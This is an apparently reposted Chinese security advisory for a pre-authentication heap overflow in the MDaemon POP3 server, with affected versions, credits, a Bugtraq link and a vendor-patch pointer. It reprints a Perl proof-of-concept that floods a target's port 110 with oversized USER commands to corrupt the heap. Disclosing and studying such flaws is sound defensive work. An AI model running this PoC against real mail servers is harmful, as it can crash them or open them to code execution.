MDaemon POP3服务器预认证远程溢出漏洞
发布日期:2006-08-21
更新日期:2006-08-23
受影响系统:Alt-N MDaemon < 9.06
不受影响系统:Alt-N MDaemon 9.06
描述:
BUGTRAQ ID:
19651
Alt-N MDaemon是一款基于Windows的邮件服务程序。
MDaemon POP3服务器在处理USER和APOP命令时存在缓冲区溢出漏洞。如果向USER或APOP命令发送了包含有“@”字符的超长字符串的话,就会触发这个漏洞,导致堆溢出。如果要利用这个漏洞,必须向POP3服务器发送多个USER命令。成功利用这个漏洞的攻击者可能会执行任意代码,具体取决于堆的状态及字符串的长度。
<*来源:Leon Juranic (
ljuranic@LSS.hr)
Sasa Jusic (
sasa.jusic@infigo.hr)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=115626115116358&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <
leon.juranic@infigo.hr>
# Infigo IS <
http://www.infigo.hr>
#
#
$host = '192.168.0.105';
use IO::Socket;
for ($x = 0 ; $x < 12 ; $x++)
{
$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp')
|| die "socket error\n\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "USER " . "\@A" x 160 . "\r\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "QUIT\r\n";
recv ($sock, $var, 10000,0);
print $var;
close ($sock);
sleep(1);
}
$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp')
|| die "socket error\n\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n";
recv ($sock, $var, 10000,0);
print $var;
print $sock "USER " . "\'A" x 337 . "\r\n";
recv ($sock, $var, 10000,0);
print $var;
sleep(2);
建议:
厂商补丁:
Alt-N
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.altn.com浏览次数:3463
严重程度:0(网友投票)